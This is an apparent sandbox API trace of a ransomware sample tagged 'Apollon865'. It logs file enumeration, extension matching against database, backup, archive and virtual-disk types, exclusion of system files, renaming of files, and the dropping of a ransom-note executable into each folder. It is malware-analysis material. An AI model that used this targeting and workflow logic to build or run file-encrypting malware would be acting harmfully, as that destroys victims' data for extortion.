	[0084.999] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0084.999] lstrlenW (lpString="qry") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0084.999] lstrlenW (lpString="qvd") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0084.999] lstrlenW (lpString="rbf") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0084.999] lstrlenW (lpString="rctd") returned 4
	[0084.999] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0084.999] lstrlenW (lpString="rod") returned 3
	[0084.999] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0084.999] lstrlenW (lpString="rodx") returned 4
	[0084.999] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0084.999] lstrlenW (lpString="rpd") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0085.000] lstrlenW (lpString="rsd") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0085.000] lstrlenW (lpString="sas7bdat") returned 8
	[0085.000] lstrcmpiW (lpString1="ound.png", lpString2="sas7bdat") returned -1
	[0085.000] lstrlenW (lpString="sbf") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0085.000] lstrlenW (lpString="scx") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0085.000] lstrlenW (lpString="sdb") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0085.000] lstrlenW (lpString="sdc") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0085.000] lstrlenW (lpString="sdf") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0085.000] lstrlenW (lpString="sis") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0085.000] lstrlenW (lpString="spq") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0085.000] lstrlenW (lpString="te") returned 2
	[0085.000] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0085.000] lstrlenW (lpString="teacher") returned 7
	[0085.000] lstrcmpiW (lpString1="und.png", lpString2="teacher") returned 1
	[0085.000] lstrlenW (lpString="tmd") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0085.000] lstrlenW (lpString="tps") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0085.000] lstrlenW (lpString="trc") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0085.000] lstrlenW (lpString="trc") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0085.000] lstrlenW (lpString="trm") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0085.000] lstrlenW (lpString="udb") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0085.000] lstrlenW (lpString="udl") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0085.000] lstrlenW (lpString="usr") returned 3
	[0085.000] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0085.000] lstrlenW (lpString="v12") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0085.001] lstrlenW (lpString="vis") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0085.001] lstrlenW (lpString="vpd") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0085.001] lstrlenW (lpString="vvv") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0085.001] lstrlenW (lpString="wdb") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0085.001] lstrlenW (lpString="wmdb") returned 4
	[0085.001] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0085.001] lstrlenW (lpString="wrk") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0085.001] lstrlenW (lpString="xdb") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0085.001] lstrlenW (lpString="xld") returned 3
	[0085.001] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0085.001] lstrlenW (lpString="xmlff") returned 5
	[0085.001] lstrcmpiW (lpString1="d.png", lpString2="xmlff") returned -1
	[0085.001] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.Apollon865") returned 113
	[0085.001] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png.apollon865"), dwFlags=0x1) returned 0
	[0085.001] GetLastError () returned 0x5
	[0085.001] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png MoveFileEx error 5\r\n") returned 131
	[0085.001] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png MoveFileEx error 5\r\n") returned 131
	[0085.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.002] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5e07
	[0085.002] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x83, lpOverlapped=0x0) returned 1
	[0085.002] CloseHandle (hObject=0x9c) returned 1
	[0085.002] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.002] CloseHandle (hObject=0x0) returned 0
	[0085.002] CloseHandle (hObject=0x0) returned 0
	[0085.002] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0085.002] lstrcmpiW (lpString1="behavior.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="Apollon865.txt.exe") returned 1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="windows") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="bootmgr") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="temp") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="pagefile.sys") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="boot") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="ids.txt") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="ntuser.dat") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="perflogs") returned -1
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2="MSBuild") returned -1
	[0085.003] lstrlenW (lpString="behavior.xml") returned 12
	[0085.003] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 102
	[0085.003] lstrcpyW (in: lpString1=0x119e6b8, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0085.003] lstrlenW (lpString="behavior.xml") returned 12
	[0085.003] lstrlenW (lpString="Apollon865") returned 10
	[0085.003] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0085.003] lstrlenW (lpString=".dll") returned 4
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0085.003] lstrlenW (lpString=".lnk") returned 4
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0085.003] lstrlenW (lpString=".ini") returned 4
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0085.003] lstrlenW (lpString=".sys") returned 4
	[0085.003] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0085.003] lstrlenW (lpString="behavior.xml") returned 12
	[0085.003] lstrlenW (lpString="bak") returned 3
	[0085.003] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0085.003] lstrlenW (lpString="ba_") returned 3
	[0085.003] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0085.003] lstrlenW (lpString="dbb") returned 3
	[0085.003] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0085.003] lstrlenW (lpString="vmdk") returned 4
	[0085.003] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0085.003] lstrlenW (lpString="rar") returned 3
	[0085.003] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0085.003] lstrlenW (lpString="zip") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0085.004] lstrlenW (lpString="tgz") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0085.004] lstrlenW (lpString="vbox") returned 4
	[0085.004] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0085.004] lstrlenW (lpString="vdi") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0085.004] lstrlenW (lpString="vhd") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0085.004] lstrlenW (lpString="vhdx") returned 4
	[0085.004] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0085.004] lstrlenW (lpString="avhd") returned 4
	[0085.004] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0085.004] lstrlenW (lpString="db") returned 2
	[0085.004] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0085.004] lstrlenW (lpString="db2") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0085.004] lstrlenW (lpString="db3") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0085.004] lstrlenW (lpString="dbf") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0085.004] lstrlenW (lpString="mdf") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0085.004] lstrlenW (lpString="mdb") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0085.004] lstrlenW (lpString="sql") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0085.004] lstrlenW (lpString="sqlite") returned 6
	[0085.004] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0085.004] lstrlenW (lpString="sqlite3") returned 7
	[0085.004] lstrcmpiW (lpString1="ior.xml", lpString2="sqlite3") returned -1
	[0085.004] lstrlenW (lpString="sqlitedb") returned 8
	[0085.004] lstrcmpiW (lpString1="vior.xml", lpString2="sqlitedb") returned 1
	[0085.004] lstrlenW (lpString="xml") returned 3
	[0085.004] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0085.004] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.004] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.004] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0085.004] lstrcmpiW (lpString1="watermark.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="Apollon865.txt.exe") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2=".") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="..") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="windows") returned -1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="bootmgr") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="temp") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="pagefile.sys") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="boot") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="ids.txt") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="ntuser.dat") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="perflogs") returned 1
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2="MSBuild") returned 1
	[0085.005] lstrlenW (lpString="watermark.png") returned 13
	[0085.005] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned 100
	[0085.005] lstrcpyW (in: lpString1=0x119e6b8, lpString2="watermark.png" | out: lpString1="watermark.png") returned="watermark.png"
	[0085.005] lstrlenW (lpString="watermark.png") returned 13
	[0085.005] lstrlenW (lpString="Apollon865") returned 10
	[0085.005] lstrcmpiW (lpString1="ermark.png", lpString2="Apollon865") returned 1
	[0085.005] lstrlenW (lpString=".dll") returned 4
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2=".dll") returned 1
	[0085.005] lstrlenW (lpString=".lnk") returned 4
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2=".lnk") returned 1
	[0085.005] lstrlenW (lpString=".ini") returned 4
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2=".ini") returned 1
	[0085.005] lstrlenW (lpString=".sys") returned 4
	[0085.005] lstrcmpiW (lpString1="watermark.png", lpString2=".sys") returned 1
	[0085.005] lstrlenW (lpString="watermark.png") returned 13
	[0085.005] lstrlenW (lpString="bak") returned 3
	[0085.005] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0085.005] lstrlenW (lpString="ba_") returned 3
	[0085.005] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0085.005] lstrlenW (lpString="dbb") returned 3
	[0085.005] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0085.005] lstrlenW (lpString="vmdk") returned 4
	[0085.005] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0085.006] lstrlenW (lpString="rar") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0085.006] lstrlenW (lpString="zip") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0085.006] lstrlenW (lpString="tgz") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0085.006] lstrlenW (lpString="vbox") returned 4
	[0085.006] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0085.006] lstrlenW (lpString="vdi") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0085.006] lstrlenW (lpString="vhd") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0085.006] lstrlenW (lpString="vhdx") returned 4
	[0085.006] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0085.006] lstrlenW (lpString="avhd") returned 4
	[0085.006] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0085.006] lstrlenW (lpString="db") returned 2
	[0085.006] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0085.006] lstrlenW (lpString="db2") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0085.006] lstrlenW (lpString="db3") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0085.006] lstrlenW (lpString="dbf") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0085.006] lstrlenW (lpString="mdf") returned 3
	[0085.006] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0085.007] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.Apollon865") returned 112
	[0085.007] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png.apollon865"), dwFlags=0x1) returned 0
	[0085.007] GetLastError () returned 0x5
	[0085.007] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png MoveFileEx error 5\r\n") returned 130
	[0085.007] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png MoveFileEx error 5\r\n") returned 130
	[0085.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.007] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8a
	[0085.007] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x82, lpOverlapped=0x0) returned 1
	[0085.007] CloseHandle (hObject=0x9c) returned 1
	[0085.008] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.008] CloseHandle (hObject=0x0) returned 0
	[0085.008] CloseHandle (hObject=0x0) returned 0
	[0085.008] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
	[0085.008] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.008] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0085.008] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0085.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0085.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0085.008] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87
	[0085.008] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0085.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.009] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.009] GetLastError () returned 0x0
	[0085.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.009] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.009] CloseHandle (hObject=0x10c) returned 1
	[0085.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.009] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.009] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.009] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.009] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.010] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.010] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff25d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff25d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.010] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.010] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.010] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.010] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.010] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="Apollon865.txt.exe") returned 1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="temp") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="pagefile.sys") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="boot") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="ids.txt") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="perflogs") returned -1
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2="MSBuild") returned -1
	[0085.010] lstrlenW (lpString="background.png") returned 14
	[0085.010] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 89
	[0085.010] lstrcpyW (in: lpString1=0x119e6b8, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0085.010] lstrlenW (lpString="background.png") returned 14
	[0085.010] lstrlenW (lpString="Apollon865") returned 10
	[0085.010] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0085.010] lstrlenW (lpString=".dll") returned 4
